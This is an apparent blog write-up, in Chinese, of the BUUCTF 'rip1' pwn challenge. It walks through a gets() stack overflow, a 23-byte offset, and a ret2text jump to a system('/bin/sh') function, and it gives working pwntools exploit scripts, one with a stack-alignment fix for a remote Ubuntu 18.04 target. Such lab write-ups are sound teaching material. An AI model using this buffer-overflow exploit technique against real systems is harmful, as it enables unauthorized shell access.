BUU PWN RIP1 RET2CODE WRITEUP

1、下载附件后,运行是一个输入程序,IDA分析main函数,gets可溢出。

BUU PWN RIP1 RET2CODE WRITEUP

F5伪代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

2、在附近还有个fun函数,存在shell入口。

int fun()
{
  return system("/bin/sh");
}

3、checksec查看无保护。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
4、解法思路:只要对gets栈溢出,并修改函数ret的指针至fun函数即可。 5、在main函数下断点,单步执行,在到gets函数之前,记录栈顶和栈底地址。 rbp:0x7fffffffe7a0 rsp:0x7fffffffe790 参数起始位置:0x7fffffffe791 BUU PWN RIP1 RET2CODE WRITEUP

6、单步执行运行,输入任意字符,执行完函数。ret位置在0x7fffffffe7a8,也就是需要替换的return address位置。

BUU PWN RIP1 RET2CODE WRITEUP

7、所以这里的offset填充值=ret的位置-第一个参数开始位 0x7fffffffe7a8-0x7fffffffe791 也就是23个字节 手工尝试填充23*"A",观察栈填充情况,一直写覆盖原栈底值

 BUU PWN RIP1 RET2CODE WRITEUP

 8、在IDA中找到fun函数的开始位置:0x401186。这个值用来替换栈中原本的内容0x7ffff7e15d0a

BUU PWN RIP1 RET2CODE WRITEUP

 9、写exp

from pwn import *

r = process('./pwn1')

offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401186
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()

在本地可以执行,但是目标替换为远端就不行了

10、看到远端环境是ubuntu18.04,试过本地使用ubuntu18.04也不行。 BUU PWN RIP1 RET2CODE WRITEUP 11、在18.04执行exp后断点分析,最后停留语句在 movaps XMMWORD PTR [rsp+0x40],xmm0 BUU PWN RIP1 RET2CODE WRITEUP 12、movaps会判断是否16字节对齐,这里判断的rsp+0x40指针地址,差8字节对齐。 最后查询glibc版本2.27的system会有这样的判断,可以看到ubuntu18.04中glibc版本 BUU PWN RIP1 RET2CODE WRITEUP

 BUU PWN RIP1 RET2CODE WRITEUP

在401186位置压入的rbp,只做堆栈保留,不影响对shell执行。所以这里可以跳过这次压栈,减掉后面栈中的8字节之差。 所以可以跳过rbp压栈或栈顶提升,直接在401187和40118A执行都可以 13、所以exp应该是这样
from pwn import *

  r = remote("X.X.X.X",29395)

offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401187
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()
14、远端执行成功拿到flag BUU PWN RIP1 RET2CODE WRITEUP

 

 

上一篇:IOC基础推导


下一篇:Ysoserial Commons Collections6分析